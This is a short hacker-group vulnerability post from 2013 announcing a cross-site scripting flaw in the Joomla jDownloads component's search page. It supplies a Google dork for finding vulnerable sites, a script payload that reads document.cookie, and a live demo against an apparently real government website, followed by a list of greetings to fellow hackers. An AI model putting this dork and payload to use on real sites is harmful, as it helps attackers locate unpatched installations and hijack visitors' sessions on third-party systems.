facebook facebook twitter rss

com_jdownloads xss Vulnerability

Author: Darksnipper , Published: 16-09-2013
#####################################
Title:com_jdownloads xss Vulnerability
#####################
##############################################################

__ __ _____ _ ______ ______ _______ _____
| \/ | /\ | __ \| | | ____| ____|__ __/ ____|
| \ / | / \ | | | | | | |__ | |__ | | | (___
| |\/| | / /\ \ | | | | | | __| | __| | | \___ \
| | | |/ ____ \| |__| | |____| |____| |____ | | ____) |
|_| |_/_/ \_\_____/|______|______|______| |_| |_____/

##############################################################
#Author:Darksnipper & Dream.killer

#Email:Darksnipper@live.com

#####################################
#Home:- www.MadLeeTs.com
#####################################

Vendor Link:Www.jdownloads.com

Dork:-inurl:"component/jdownloads/search"

Tested On:- Windows 7,Linux,Windows xp

######################################################################
#P.o.c

http: //127.0.0.1/components/jdownloads/search

payload

<script>alert(document.cookie)</script>

Demo:-

http://dsya.goa.gov.in/component/jdownloads/search

payload:-
<script>alert(document.cookie)</script>


########################################################################
Greetz:Dream.killer,Soul~inj3ct0r,Error Haxor,Fazil
Mir,Force-Ex,x3o-1337,Shadow008,1337,H4x0rl1f3,Invectus,Sahrawi
Hacker,HaXor KaKKa,Retno Pro, Tr4ck3r,b0x,Gujjar Pcp,madc0de Haxor,P4k
Command3r,Pain006,Anon DeXter,MindCracker,Ap3x Pr3d1at0r,Ment@l
Mind,Sujit Ujale,All Madleets Members,Kashmiri Hackers & All Freedom
Fighters.
########################################################################

Like us on Facebook :